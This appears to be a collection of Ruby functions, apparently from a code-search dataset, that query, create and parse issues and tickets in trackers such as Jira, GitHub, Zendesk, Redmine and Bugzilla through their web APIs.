"def get_issues\n jira_issues = Hash.new\n # This is the REST URL that will be hit. Change the jql query if you want to adjust the query used here\n uri = URI(JIRA_BASE_URL + '/rest/api/2/search?jql=assignee+%3D+currentUser()+AND+status+not+in+(Closed,+Resolved)')\n\n Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') do |http|\n request = Net::HTTP::Get.new(uri)\n request.basic_auth USERNAME, PASSWORD\n response = http.request request\n # If the response was good, then grab the data\n if response.code =~ /20[0-9]{1}/\n data = JSON.parse(response.body)\n data[\"issues\"].each do |item|\n jira_id = item[\"key\"]\n jira_issues[jira_id] = item[\"fields\"][\"summary\"]\n end\n else\n raise StandardError, \"Unsuccessful response code \" + response.code + \" for issue \" + issue\n end\n end\n return jira_issues\nend",
"def get_jira_tickets(status, project, version, max_num_results=300)\n\n response = @client.call(:get_issues_from_jql_search,\n message: {:token => @token,\n :jqlSearch => 'status in (' + status + ') and project=' + project + ' and fixVersion in (' + version + ')',\n :maxNumResults => max_num_results})\n #if response is empty\n if response.to_hash[:multi_ref].nil?\n nil\n else\n jira_tickets = []\n response.to_hash[:multi_ref].each do |tickets|\n if !tickets[:key].nil? and !tickets[:summary].nil?\n jira_tickets << [tickets[:key], tickets[:summary], 'http://'+@jira_host+'/browse/'+tickets[:key].to_s]\n end\n end\n jira_tickets\n end\n rescue Savon::SOAPFault => error\n return false, error.to_hash[:fault][:faultstring].match(/.*?:(.*)/)[1]\n end",
"def get_my_issues\n get_json( GITHUB_ISSUES_URL ).each do |item|\n puts \"#{ item[ 'repository' ][ 'full_name' ] }: ##{ item[ 'number' ] } #{ item[ 'title' ] } | href=#{ item[ 'html_url' ] }\"\n end\nend",
"def get_issues( url, label )\n\t\tissues = @git.client.issues( url, :per_page => 100 )\n\t\tcleaned_issues = parse_issue_array( issues, label )\n\t\tputs cleaned_issues.inspect\n\t\treturn cleaned_issues\n\tend",
"def tickets_for_project(project_id)\n tickets = send(:get , \"/api/v1/projects/#{project_id}/tickets.json\")\n\n process_list_response( tickets , Unfuddled::Ticket )\n end",
"def fetch_issues(jql)\n issues = []\n max_result = config.jira.max_results.to_i\n query_options = {\n :fields => [],\n :start_at => 0,\n :max_results => max_result\n }\n begin \n temp_issues = []\n temp_issues = client.Issue.jql(jql, query_options)\n while (temp_issues.length > 0)\n issues += temp_issues\n query_options[:start_at] += max_result\n temp_issues = client.Issue.jql(jql, query_options)\n end\n rescue JIRA::HTTPError => e\n issues = nil\n log.error('JIRA HTTPError')\n end\n return issues\n end",
"def list\r\n # the base uri for api requests\r\n _query_builder = Configuration.base_uri.dup\r\n\r\n # prepare query string for API call\r\n _query_builder << '/tickets'\r\n\r\n # validate and preprocess url\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # prepare headers\r\n _headers = {\r\n 'user-agent' => 'APIMATIC 2.0',\r\n 'accept' => 'application/json',\r\n 'X-API-TOKEN' => Configuration.x_api_token,\r\n 'X-API-EMAIL' => Configuration.x_api_email\r\n }\r\n\r\n # append custom auth authorization\r\n CustomAuthUtility.append_custom_auth_params _headers\r\n\r\n # invoke the API call request to fetch the response\r\n _response = Unirest.get _query_url, headers: _headers\r\n\r\n # Error handling using HTTP status codes\r\n if _response.code == 401\r\n raise APIException.new 'Your API key is incorrect', 401, _response.body\r\n elsif _response.code == 400\r\n raise APIException.new 'There is an error in the parameters you send', 400, _response.body\r\n elsif _response.code == 404\r\n raise APIException.new 'Cannot find the resource specified', 404, _response.body\r\n elsif !_response.code.between?(200, 206) # [200,206] = HTTP OK\r\n raise APIException.new 'HTTP Response Not OK', _response.code, _response.body\r\n end\r\n \r\n # Try to cast response to list of desired type\r\n if _response.body.instance_of? Array\r\n value = Array.new\r\n _response.body.each do |item|\r\n begin\r\n value << (Ticket.from_hash(item))\r\n rescue Exception\r\n raise APIException.new \"Invalid JSON returned.\", _response.code, _response.body\r\n end\r\n end\r\n value\r\n end\r\n end",
"def add_jira_tickets_to_omnifocus ()\n # Get the open Jira issues assigned to you\n results = Issue.query_results\n if results.nil?\n puts \"No results from Jira\"\n exit\n end\n puts \"\\\"#{QUERY}\\\" returned #{results.size} results from #{JIRA_BASE_URL}\"\n\n # Iterate through resulting issues.\n results.each do |jira_id, issue|\n jira_issues[jira_id] = issue # cache results\n add_task(issue)\n end\nend",
"def fetching\n jql_string = add_range_to_jql(add_project_name_to_jql(initializing_jql_string))\n # customfield_11130 - sprint information stored here(Jira-SoftServe), add this field if you want fetch sprint information\n @basic_query_params[:fields] = ['assignee','key','status','issuetype','priority','customfield_10002','timeoriginalestimate','aggregatetimespent']\n\n arr = issues_by_jql(jql_string)\n arr.map do |issue|\n MGT::JiraStructure.new(\n *argument_composer(issue)\n )\n end\n end",
"def issues\n workspace_id = zenhub_workspace_id\n repo_id = zenhub_repo_id\n url = \"https://api.zenhub.io/p2/workspaces/#{workspace_id}/repositories/#{repo_id}/board\" \n issues = Array.new\n uri = URI(url)\n response = Net::HTTP.start(uri.host, uri.port, :use_ssl => true) do |http|\n request = Net::HTTP::Get.new(uri)\n request['Content-Type'] = 'application/json'\n request['X-Authentication-Token'] = ENV['TOKEN']\n\n http.request(request)\n end\n\n board = JSON.parse(response.body)\n board[\"pipelines\"].each do |columns|\n if columns[\"name\"] == COLUMN\n columns[\"issues\"].each do |issue|\n issues.push(issue['issue_number'])\n end\n end\n end\n issues\nend",
"def create_ticket\n jiraPair = @defect.getJiraList\n mapping = jiraAPIMapping\n payload = {\n :fields =>\n {:project =>\n {:key => \"#{jiraPair['Project']}\"},\n :summary => jiraPair['Summary'] + \" (#{@defect.get_story})\",\n :description => Sanitize.clean(jiraPair['Description']),\n mapping['Release Milestone'] => {:value => jiraPair['Release Milestone']},\n :customfield_10143 => [{:value => jiraPair['Environment'],}],\n :issuetype => {:name => jiraPair['issuetype']},\n mapping['Functional Group'] => {:value => jiraPair['Functional Group']},\n mapping['Project Manager'] => {:value => jiraPair['Project Manager']},\n :versions => [{:name => \"#{jiraPair['Release']}\",}],\n },\n }\n\n response = self.class.post('/rest/api/latest/issue/',\n :body => payload.to_json,\n :headers => {'Content-Type' => 'application/json' },\n :verify => false)\n\n url = \"\"\n if response['key']\n url = $JIRA['base_uri'] + \"/browse/\" + response['key']\n @defect.setJiraLink(url)\n else\n errormsg = \"Error (#{@defect.get_story}): #{response}\"\n p errormsg\n @defect.setDefectError(errormsg)\n end\n\n return url\n end",
"def fetch_issues()\n\n # fetch last created date\n last_creation = @kv.get(@last_creation_k) # || \"2015-05-11T16:37:21Z\"\n\n # request Redmine issues\n issues = @redmine_api.issues(created_on: \">=#{last_creation}\", limit:200, sort:\"created_on\")['issues']\n puts issues if self.verbose\n \n # filter issues to include only certain projects, avoid certain users, avoid self tickets\n issues = issues.select do |issue|\n Utils.project_whitelisted? issue and Utils.user_not_blacklisted? issue and not Utils.ticket_to_self? issue\n end\n\n # no issues\n if issues.empty?\n puts \"#{Utils.human_timestamp} No new issues since #{last_creation}.\"\n return\n end\n\n # post issues\n issues.each do |issue|\n post_issue(issue)\n end\n\n # store the created data of the last ticket + 1 second\n last_creation = issues.last[\"created_on\"]\n last_creation_plus = (Time.parse(last_creation)+1).iso8601\n @kv.put(@last_creation_k, last_creation_plus)\n \n puts \"#{Utils.human_timestamp}: Posted #{issues.length} issues. Last created #{@kv.get(@last_creation_k)}\"\n\n end",
"def all_issues()\n @endpoint = \"/issues.json?limit=100\"\n setup_get\n res = @http.request(@req)\n return JSON.load(res.body)[\"issues\"].sort_by { |issue| issue[\"id\"] }\n end",
"def issues(jql, opts = { max_results: 50, fields: nil, expand: nil })\n raw do |jira|\n start = 0\n tickets = []\n total = jira.Issue.jql(jql, max_results: 0)\n @log.debug \"Found #{total} ticket(s) in '#{jql}'\"\n loop do\n tickets.concat(jira.Issue.jql(jql, opts.merge(start_at: start))\n .map { |i| Lazylead::Issue.new(i, jira) })\n @log.debug \"Fetched #{tickets.size}\"\n start += opts.fetch(:max_results, 50).to_i\n break if start > total\n end\n tickets\n end\n end",
"def gather_issues(status_id, options)\n url = \"#{options[:url]}/issues.json?status_id=#{status_id}&updated_on=#{options[:date]}\" +\n \"&assigned_to_id=#{user_to_id(options[:user])}&limit=100\"\n puts url\n uri = URI(URI.escape(url))\n response = Net::HTTP.get(uri)\n JSON.parse(response)\nend",
"def getJiraList\n jiraContent = Hash.new\n @MAP.each do |k, v|\n next if k.start_with?('-')\n content = @doc.xpath('//Attribute[@name=\"' + v + '\"]').text\n\n jiraContent[k] << \",\" if jiraContent.has_key?(k)\n jiraContent[k] = content\n end\n\n @sMAP.each do |k, v|\n# jiraContent[k] << \",\" if jiraContent.has_key?(k)\n if jiraContent.has_key?(k) && jiraContent[k].length > 0\n next\n else\n jiraContent[k] = v\n end\n end\n\n return jiraContent\n end",
"def find_tickets(res)\n if res.key?(\"tickets\")\n tickets_info = res[\"tickets\"]\n @tickets = []\n tickets_info.each do |ticket_info|\n ticket = Ticket.new(ticket_info) \n @tickets << ticket\n end\n @tickets\n elsif res.key?(\"error\")\n raise res[\"error\"]\n else\n raise \"unknown error from API\"\n end\n end",
"def jira_issues\n @jira_issues ||= Hash.new\nend",
"def issues\n if @issues.nil?\n @issues = {}\n max_result = 3\n jql = \"/rest/api/2/search?jql=project=\\\"#{name}\\\" AND issuetype NOT IN (Epic, Sub-task)&expand=changelog&maxResults=#{max_result}\"\n #r = nil\n #without_cache{ r = self.class.get(\"#{jql}&startAt=0\") }\n r = self.class.get(\"#{jql}&startAt=0\")\n pages = (r['total'] / max_result)\n (0..pages).each do |current_page|\n begin\n # If you can get the latest version of the last page, do so, otherwise load the cached version\n query = \"#{jql}&startAt=#{(current_page * max_result)}\"\n if current_page == pages\n #without_cache{ r = self.class.get(query) }\n # else\n r = self.class.get(query)\n end\n r['issues'].each do |issue|\n # Cast raw response to Issue(), passing project reference into constructor\n issue['project'] = self\n @issues[issue['key']] = Issue.new(issue)\n end\n # rescue => exception\n # puts \"#{exception.message} (#{exception.class})\"\n # pp exception.backtrace\n end\n end\n end\n @issues\n end",
"def get_jira_issue(jql_hash, index)\n\tkey = jql_hash[\"issues\"][index][\"key\"].to_s\n\tputs \"pulling Jira issue #{key}...\"\n\tCurlCommand.curl_single_issue_jql($user, key, \"ISSUE/\" + key + \".json\")\n\tissue_path = Dir.pwd\n\tissue_directory = issue_path + \"/ISSUE/\" + key + \".json\"\n\tputs \"Jira Issue saved to #{issue_directory}\"\n\tputs \"#######################################\", \"\"\nend",
"def get_issues(label='',mode)\n debug_msg(\"get_issues: #{label}\",3)\n case mode\n when 'inclusive'\n uri = URI.parse(JIRA_BASE_URL + \"/rest/api/2/search?jql=assignee+%3D+currentUser()+AND+status+not+in+(Closed,+Resolved)+AND+labels+in(#{label})\")\n debug_msg(uri,9)\n when 'exclusive'\n uri = URI.parse(JIRA_BASE_URL + \"/rest/api/2/search?jql=assignee+%3D+currentUser()+AND+status+not+in+(Closed,+Resolved)+AND+labels+not+in(#{label})\")\n debug_msg(uri,9)\n else\n raise StandardError \"mode has an unsupported value: #{mode}. should be 'inclusive' or 'exclusive'\"\n end\n jira_issues = Hash.new\n j_issue = Hash.new\n # This is the REST URL that will be hit. Change the jql query if you want to adjust the query used here\n # uri = URI.parse(JIRA_BASE_URL + \"/rest/api/2/search?jql=assignee+%3D+currentUser()+AND+status+not+in+(Closed,+Resolved)+AND+labels+in(#{label})\")\n\n Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') do |http|\n request = Net::HTTP::Get.new(uri.request_uri)\n debug_msg(request,10)\n request.basic_auth(\"#{USERNAME}\", \"#{PASSWORD}\")\n response = http.request (request)\n debug_msg(response,10)\n # If the response was good, then grab the data\n if response.code =~ /20[0-9]{1}/\n data = JSON.parse(response.body)\n debug_msg(\"DATA: #{data}\",9)\n data[\"issues\"].each do |item|\n debug_msg(\"ITEM: #{item}\",10)\n jira_id = item[\"key\"]\n j_id = item['key']\n j_issue[j_id] = Hash.new\n j_issue[j_id]['status'] = item['fields']['status']['name']\n j_issue[j_id]['summary'] = item['fields']['summary']\n# p item\n# p \"-----------------------------------------\"\n# binding.pry;\n summary_status = '[' + item['fields']['status']['name']+ '] '+item['fields']['summary']\n# jira_issues[jira_id] = item['fields']['summary']\n# jira_issues[jira_id] = item['fields']['status']['name']\n# jira_issues[jira_id].['summary'] = item['fields']['summary']\n# jira_issues[jira_id].['status'] = item['fields']['status']['name']\n jira_issues[jira_id] = item['fields']['summary']\n\n # binding.pry;\n end\n else\n raise StandardError, \"Unsuccessful response code \" + response.code + \" for #{label} \"\n end\n end\n #return jira_issues\n return j_issue\nend",
"def jira_url\n config.jira_url\n end",
"def GetTickets params = {}\n\n params = params.merge(path: 'tickets.json')\n APICall(params)\n\n end",
"def load_tickets(page_number)\n begin\n conn = Faraday.new\n conn.basic_auth(@credentials[:username], @credentials[:password])\n response = conn.get(\"https://jackiesun2.zendesk.com/api/v2/tickets.json?page=#{page_number}\")\n raise StandardError if response.status.to_i >= 400 \n @zendesk_tickets = JSON.parse(response.body, symbolize_names: true)\n rescue \n puts \"This path is incorrect, please check again\"\n exit\n end \n end",
"def extract_jira_tickets(projects: CCL_PROJECTS, from:)\n minmax_string = projects.map{|x|x.size}.minmax.join(',')\n project_string = projects.join + projects.join.downcase\n project_string = project_string.scan(/\\w/).uniq.sort.join\n regex_string = \"([#{project_string}]{#{minmax_string}}-\" + '\\d+)'\n jira_re = Regexp.new(regex_string)\n jira_tickets = from.join(' ').scan(jira_re).flatten.map{|t|t.upcase}.sort.uniq\n return jira_tickets\nend",
"def get_jobs(url)\n result = JSON.parse(get_data(url))\n job_list = []\n result[\"jobs\"].each do |job|\n job = JenkinsJob.new job[\"name\"], job[\"color\"], job[\"url\"]\n job_list << job\n end\n job_list\nend",
"def get_jira_deploy_task\n jira_search_url = 'https://projects.engineering.redhat.com/rest/api/2/search'\n jira_query = \"Project = ERRATA AND Type = Task AND labels = pntdevops-sysops-deploy ORDER BY updated Desc\"\n response_json = %x{ curl -s -H \"Content-Type: application/json\" \\\n \"#{jira_search_url}?jql=#{CGI.escape(jira_query)}&maxResults=1\" }\n response = JSON.load(response_json)\n raise \"Query returned no issues, aborting. Query: #{jira_query} Response: #{response}\" if response_json.blank? || response['issues'].blank?\n response['issues'].first\nend",
"def hockeyapp_jira_link(issue, hockeyapp_url)\n hockeyapp_api_url = get_hockeyapp_api_url(hockeyapp_url)\n\n #curl -F \"status=0\" -F \"ticket_url=#{site}/browse/#{issue.key}\" -H \"X-HockeyAppToken: #{hockeyapp_token}\" hockeyapp_api_url\n c = Curl::Easy.http_post(\"#{hockeyapp_api_url}\",\n Curl::PostField.content('status', '0'),\n Curl::PostField.content('ticket_url', \"#{config.jira.site}/browse/#{issue.key}\")) do |curl|\n curl.headers['X-HockeyAppToken'] = \"#{config.jira.hockeyapp_token}\"\n end\n c.perform\n end",
"def check_team_bugs\n missing_bugs = []\n unknown_links = []\n\n # ignore closed bugs\n all_bugs = Bicho::Bug.where(assigned_to: BUGZILLA_ACCOUNT).select do |bug|\n bug.resolution.empty?\n end\n\n all_bugs.each do |bug|\n if bug[\"url\"].nil? || bug[\"url\"].empty?\n missing_bugs << bug\n elsif !bug[\"url\"].include?(\"https://trello.com/\")\n unknown_links << bug\n end\n end\n\n { all: all_bugs, missing: missing_bugs, unknown: unknown_links }\nend",
"def tickets\n Ticket.find_all_by_project_id_and_milestone_id(project_id, id)\n end",
"def index\n @jira_issues = JiraIssue.all\n end",
"def check_team_bugs\n missing_bugs = []\n unknown_links = []\n\n # ignore closed bugs\n all_bugs = Bicho::Bug.where(assigned_to: BUGZILLA_ACCOUNT).select do |bug|\n bug.resolution.empty?\n end\n\n all_bugs.each do |bug|\n if bug[\"url\"].nil? || bug[\"url\"].empty?\n missing_bugs << bug\n elsif !bug[\"url\"].start_with?(\"https://trello.com/\")\n unknown_links << bug\n end\n end\n\n { all: all_bugs, missing: missing_bugs, unknown: unknown_links }\nend",
"def list_bug_status(results)\n bug_ids = []\n bug_ids_with_results = {}\n \n # Build a list of bug ids to query the ticket system\n results.each do |result|\n # first make sure not nil\n if result.bugs != nil\n # then split bugs as they are split by commas\n bugs = result.bugs.split(',')\n # it is possible that hte list was blank, so we check array isn't empty\n unless bugs == []\n bugs.each do |bug|\n # add all values to list\n bug_ids << bug\n \n # We make a separate dictionary of all bugs. the dictionary is a list of bug ids with the reslated results\n # Ex. { :bug_id_1 => [result_id_1, result_id3], :bug_id_2 => [result_id_1, result_id_2] }\n if bug_ids_with_results[bug] == nil\n bug_ids_with_results[bug] = [result.id]\n else\n bug_ids_with_results[bug] << result.id\n end\n end \n end\n end\n end \n # Remove duplicate values from IDs\n bug_ids = bug_ids.uniq\n\n # If a ticketing system is used, find status of all bugs\n if Setting.value('Ticket System') != 'none'\n # If ticket system is set, check that all bugs exist\n # need to send bug status an array of IDs so we split the comma separated list\n bug_results = Ticket.bug_status( bug_ids )\n else\n bug_results = {}\n bug_ids.each do |bug|\n bug_results[bug] = { :name => 'Not Found', :status => 'Not Found' }\n end\n end\n\n # Now that we have the list of bugs with the status and names\n # We add the array of associated result IDs to the bugs. We use the dictionary\n # created earlier in this function. \n bug_results.each_key do |key|\n # Error key won't exist\n bug_results[key][:result_ids] = bug_ids_with_results[key]\n end\n\n return bug_results\n end",
"def get_github_issues\n @github_issues = octokit_client.issues(repo_name).each_with_object({}) { |issue, issues|\n issues[issue[\"number\"]] = issue\n }\n end",
"def getJiraLinkByDefect(defect)\n return @db.execute(\"select jiralink from v1link where defect=\\\"#{defect}\\\"\")\n end",
"def prepare_tickets_default(vulnerability_list, site_id)\r\n tickets = []\r\n CSV.parse(vulnerability_list.chomp, headers: :first_row) do |row|\r\n # JiraHelper doesn't like new line characters in their summaries.\r\n summary = row['summary'].gsub(/\\n/, ' ')\r\n ticket = {\r\n 'fields' => {\r\n 'project' => {\r\n 'key' => \"#{@jira_data[:project]}\" },\r\n 'summary' => \"#{row['ip_address']} => #{summary}\",\r\n 'description' => \"#{row['fix']} \\n\\n #{row['url']}\",\r\n 'issuetype' => {\r\n 'name' => 'Task' }\r\n }\r\n }.to_json\r\n tickets.push(ticket)\r\n end\r\n tickets\r\n end",
"def issues\n Sifter.\n get(api_issues_url).\n fetch(\"issues\", []).\n map { |i| Sifter::Issue.new(i) }\n end",
"def crawl_issues(site_id)\n if authenticated?\n response, data = get(CRAWL_ISSUES_URL % [CGI::escape(site_id)])\n\n crawl_issues = Array.new\n REXML::Document.new(data).root.elements.each('entry') do |e|\n # puts e\n crawl_issues << element_to_hash(e)\n end\n crawl_issues\n else\n raise NotAuthenticatedError\n end\n end",
"def tickets(filters = {})\n tickets = send(:get , '/api/v1/ticket_reports/dynamic.json', filters)\n\n tickets = tickets[:body][\"groups\"].first[\"tickets\"]\n\n process_list_response( tickets , Unfuddled::Ticket)\n end",
"def index\n # @open_tickets are tickets not assgined to any agent\n # @ip_tickets are in progress tickets\n # @closed_tickets are closed tickets to show in history\n @ip_tickets, @closed_tickets, @open_tickets = current_user.get_tickets\n end",
"def get_jira_issues (code, type)\n if type == \"branch\"\n jira_issues = code.scan(/(?:|^)([A-Za-z]+-[0-9]+)(?=|$)/)\n elsif type == \"pull_request\"\n issues_in_branch = code[\"head\"][\"ref\"].scan(/(?:|^)([A-Za-z]+-[0-9]+)(?=|$)/)\n issues_in_pull_request_title = code[\"title\"].scan(/(?:\\s|^)([A-Za-z]+-[0-9]+)(?=\\s|$)/)\n # if there are more tickets in the branch than in the pull request, use the tickets in the branch, else use pr tickets\n if issues_in_branch.length > issues_in_pull_request_title.length\n jira_issues = issues_in_branch\n else\n jira_issues = issues_in_pull_request_title\n end\n end\n\n return jira_issues\nend",
"def get_github_issues github_uri\n user,project = get_github_user_project(github_uri)\n url = \"http://github.com/legacy/issues/search/#{user}/#{project}/open/number\"\n $stderr.print url,\"\\n\"\n issues = JSON.parse(Http::get_http_body(url))\n if issues == nil or issues == {}\n $stderr.print \"\\nWARNING: issues link not working!\\n\"\n issues = {\"issues\"=>[]} \n end\n $stderr.print issues['issues'].size, \"\\n\" \n issues['issues']\n end",
"def GetTicket id\n\n APICall(path: \"tickets/#{id}.json\")\n\n end",
"def fetch(verb, url_path, *httpie_params)\n command = \"http --auth=#{ENV['JIRA_USERNAME']}:#{ENV['JIRA_TOKEN']} #{verb} https://#{ENV['JIRA_SUBDOMAIN']}.atlassian.net/#{url_path} #{httpie_params.join(' ')}\"\n\n `#{command}`\nend",
"def get(ticket_id)\r\n\r\n # Validate required parameters\r\n if ticket_id == nil\r\n raise ArgumentError.new \"Required parameter 'ticket_id' cannot be nil.\"\r\n end\r\n\r\n # the base uri for api requests\r\n _query_builder = Configuration.base_uri.dup\r\n\r\n # prepare query string for API call\r\n _query_builder << '/tickets/{ticket_id}'\r\n\r\n # process optional query parameters\r\n _query_builder = APIHelper.append_url_with_template_parameters _query_builder, {\r\n 'ticket_id' => ticket_id\r\n }\r\n\r\n # validate and preprocess url\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # prepare headers\r\n _headers = {\r\n 'user-agent' => 'APIMATIC 2.0',\r\n 'accept' => 'application/json',\r\n 'X-API-TOKEN' => Configuration.x_api_token,\r\n 'X-API-EMAIL' => Configuration.x_api_email\r\n }\r\n\r\n # append custom auth authorization\r\n CustomAuthUtility.append_custom_auth_params _headers\r\n\r\n # invoke the API call request to fetch the response\r\n _response = Unirest.get _query_url, headers: _headers\r\n\r\n # Error handling using HTTP status codes\r\n if _response.code == 401\r\n raise APIException.new 'Your API key is incorrect', 401, _response.body\r\n elsif _response.code == 400\r\n raise APIException.new 'There is an error in the parameters you send', 400, _response.body\r\n elsif _response.code == 404\r\n raise APIException.new 'Cannot find the resource specified', 404, _response.body\r\n elsif !_response.code.between?(200, 206) # [200,206] = HTTP OK\r\n raise APIException.new 'HTTP Response Not OK', _response.code, _response.body\r\n end\r\n\r\n # Try to cast response to desired type\r\n if _response.body.instance_of? Hash\r\n begin\r\n Ticket.from_hash(_response.body)\r\n rescue Exception\r\n raise APIException.new \"Invalid JSON returned.\", _response.code, _response.body\r\n end\r\n end\r\n end",
"def tickets\n sql = \"SELECT * FROM tickets\"\n values = []\n tickets = SqlRunner.run(sql, values)\n result = tickets.map { |ticket| Ticket.new( ticket ) }\n return result\n end",
"def show\n @bug_tickets = @bug_ticket.versions\n end",
"def extract_ticket_ids\n tickets = message.split('Ref: ').last\n tickets.gsub('#', '').split(',').map(&:strip)\n end",
"def index\n @jira_repos = JiraRepo.all\n end",
"def get_ticket\n ticket_details = self.class.get(\"/rest/api/2/issue/\", :verify => false)\n File.open(\"custom.txt\", 'w') {|f| f.write(ticket_details) }\n end",
"def getList fields = [\"*\"]\n\t\tputs \"here\"\n\t\ttickets = @tickets.read fields\n\t\tputs \"here jjj\"\n\t\toutput = \"Projects:\\n\"\n\n\t\ttickets.each do |row|\n\t\t\toutput += \"| \"\n\t\t\trow.each do |cell|\n\t\t\t output += \"#{cell[1]} | \"\n\t\t\tend\n\t\t\toutput += \"\\n\"\n\t\tend\n\t\toutput\n\tend",
"def bz_list(query)\n \n params = {\n f1: \"reporter\",\n o1: \"equals\",\n v1: user_id(query.person).chomp(default_user_suffix)+default_user_suffix,\n \n f2: \"creation_ts\",\n o2: \"greaterthan\",\n v2: query.from.to_date,\n \n f3: \"creation_ts\",\n o3: \"lessthan\",\n v3: query.to.to_date,\n \n bug_status: [\"NEW\", \"ASSIGNED\", \"POST\", \"MODIFIED\", \"ON_DEV\", \"ON_QA\", \"VERIFIED\", \"RELEASE_PENDING\", \"CLOSED\"],\n query_format: \"advanced\",\n ctype: \"csv\"\n }\n uri = URI (\"#{instance_url}/buglist.cgi\")\n uri.query = URI.encode_www_form(params)\n response = CachedHttpClient.get(uri)\n\n if response.code != \"200\"\n raise 'Error when accessing Jira: #{response.code} #{response.message}'\n end\n \n CSV.parse(response.body).drop(1).collect { |item| item[0] }\n end",
"def get_issue(issue_key)\n url = \"#{@base_url}/rest/api/2/issue/#{issue_key}\"\n result = rest_call(url, \"get\", @login_options)\n log result.inspect\n result\n end",
"def get_module_info(mod)\n pull_url = \"https://api.github.com/repos/puppetlabs/puppetlabs-#{mod.name}/issues?state=open&access_token=AUTHTOKEN\"\n response = HTTParty.get pull_url#, :headers=>{\"Authorization\"=>\"Token token=\\\"AUTHTOKEN\\\"\", \"User-Agent\"=>\"craig.gomes\"}\n\n\n json = JSON.parse(response.body)\n ticket_count = get_ticket_count_for_module(mod.name)\n component_count = get_component_count_for_module(mod.name)\n p mod.name\n return [\"#{mod.name}\", \"#{json.length}\",\"#{ticket_count}\",\"#{component_count}\",\"#{mod.supported}\", \"#{mod.homepage_url}\"]\n \nend",
"def tickets\n Ticket.find(:all, :params => { :q => \"milestone:\\\"#{title}\\\" state:open sort:priority\" })\n end",
"def prepare_tickets_by_ip(vulnerability_list, site_id)\r\n tickets = []\r\n current_ip = -1\r\n CSV.parse(vulnerability_list.chomp, headers: :first_row) do |row|\r\n if current_ip == -1\r\n current_ip = row['ip_address']\r\n @ticket = {\r\n 'fields' => {\r\n 'project' => {\r\n 'key' => \"#{@jira_data[:project]}\" },\r\n 'summary' => \"#{row['ip_address']} => Vulnerabilities\",\r\n 'description' => '',\r\n 'issuetype' => {\r\n 'name' => 'Task' }\r\n }\r\n }\r\n end\r\n if current_ip == row['ip_address']\r\n @ticket['fields']['description'] += \"\\n ==============================\\n\r\n #{row['summary']} \\n ==============================\\n\r\n \\n #{row['fix']}\\n\\n #{row['url']}\"\r\n end\r\n unless current_ip == row['ip_address']\r\n @ticket = @ticket.to_json\r\n tickets.push(@ticket)\r\n current_ip = -1\r\n redo\r\n end\r\n end\r\n tickets.push(@ticket.to_json) unless @ticket.nil?\r\n tickets\r\n end",
"def ticket\n @ticket ||= @api.get_ticket['ticket']\n end",
"def fetch(source)\n Feedjira::Feed.fetch_and_parse source\n end",
"def get(issue_id)\n HTTParty.get(url(issue_id))\n end",
"def stories(project, api_key, filter='')\n\treq = Net::HTTP::Get.new(\n \"/services/v3/projects/#{project}/stories?filter=#{filter}\",\n {'X-TrackerToken'=>api_key}\n )\n res = Net::HTTP.start(@pt_uri.host, @pt_uri.port) {|http|\n http.request(req)\n }\n\n return res.body\nend",
"def getUserTickets\n @user = User.find(params[:id])\n render json: @user.tickets\n end",
"def look_up(url)\n all = RestClient.get(url)\n hash = JSON.parse(all)\nend",
"def index\n @tickets = get_current_user_ticket_list(@user)\n end",
"def repo_commits(repos)\n repos_commits = []\n repos.each do |repo|\n repos_commits << HTTParty.get(repo[\"commits_url\"].gsub(\"{/sha}\", \"\"))[0]\n end\n repos_commits\nend",
"def show\n @bugs = service_method(:bugs_by_board,boardid: @sprint.team.board_id,startdate: @sprint.start_date, enddate: @sprint.enddate, options: {fields: :key}).map {|elem| Connect::Issue.new(elem)}\n end",
"def issue_numbers\n github_issues.keys\n end",
"def index\n @git_hub_issues = GitHubIssue.all\n end",
"def issues\n @query = Query.new(:name => \"_\")\n @issues = @query.issues(:order => \"issues.created_on desc\", :limit => 50, :include => [:project, :author])\n res = Array.new\n @issues.each do |is|\n res << {:issue_id => is.id, :issue_title => is.subject, :issue_content => is.description, :project_name => is.project.name,\n :author_name => is.author.to_s, :author_email => is.author.mail, :issue_created_at => is.created_on, :issue_status => is.status.to_s }\n end\n render :json => res.to_json\n end",
"def retrieve_ticket\n resp = HTTParty.get('https://localhost/identity/restv1/api/v1/groups')\n\n resp.headers['www-authenticate']\n .split(', ')\n .find { |e| e =~ %r{^ticket} }\n .split('=')[1]\n end",
"def list(*params)\n query = params[0]\n order = \"\"\n if params.size > 1\n order = params[1]\n end\n if params[0].class == Hash\n params = params[0]\n query = params[:query] if params.has_key? :query\n order = params[:order] if params.has_key? :order\n end\n reply = []\n resp = @site[\"search/ticket/?query=#{URI.escape(query)}&orderby=#{order}&format=s\"].get\n raise \"Invalid query (#{query})\" if resp =~ /Invalid query/\n resp = resp.split(\"\\n\") # convert to array of lines\n resp.each do |line|\n f = line.match(/^(\\d+):\\s*(.*)/)\n reply.push [f[1],f[2]] if f.class == MatchData\n end\n reply\n end",
"def refs(test_case)\n all_tags(test_case).select{|tag| tag.name =~/(?:jira|ref)_/}.map{|ticket| /(?:jira|ref)_(\\w+-\\d+)$/.match(ticket.name)[1]}.uniq.join(\",\")\n end",
"def fetch_json\n # Get raw JSON of GitHub API\n api_page = open(@api_url, http_basic_authentication: @login)\n # Parse the JSON into a hash\n @api_hash = JSON.parse(api_page.read)\n end",
"def _get_comments_from_gh()\n comments = []\n page = 1\n done = false\n until done\n puts \"Comment Page #{page}\"\n newcomments = self.client.issues_comments( REPO, { :page => page} )\n comments += newcomments\n done = newcomments == []\n page = page + 1\n end\n return comments\n end",
"def get_my_pull_requests\n repos_to_get = GITHUB_REPOS.kind_of?( Array ) ? GITHUB_REPOS : get_my_repos\n\n repos_to_get.each do |repo|\n status = []\n pulls_url = \"#{ GITHUB_REPOS_URL }/#{ repo }/pulls?state=open\"\n\n get_json( pulls_url ).each_with_index do |item, index|\n sha = item[ 'head' ][ 'sha' ]\n status_url = \"#{ GITHUB_REPOS_URL }/#{ repo }/commits/#{ sha }/status\"\n\n status << get_json( status_url )\n\n unless item[ 'assignee' ].nil?\n if item[ 'assignee' ][ 'login' ] == ENV[ 'GITHUB_USERNAME' ]\n color = ''\n state = status[ index ][ 'state' ]\n\n unless status[ index ][ 'statuses' ].empty?\n color = \"| color=#{ determine_status_color( state )}\"\n end\n\n puts \"#{ repo }: ##{ item[ 'number' ] } #{ item[ 'title' ] } #{ color } | href=#{ item[ 'html_url' ] }\"\n end\n end\n end\n end\nend",
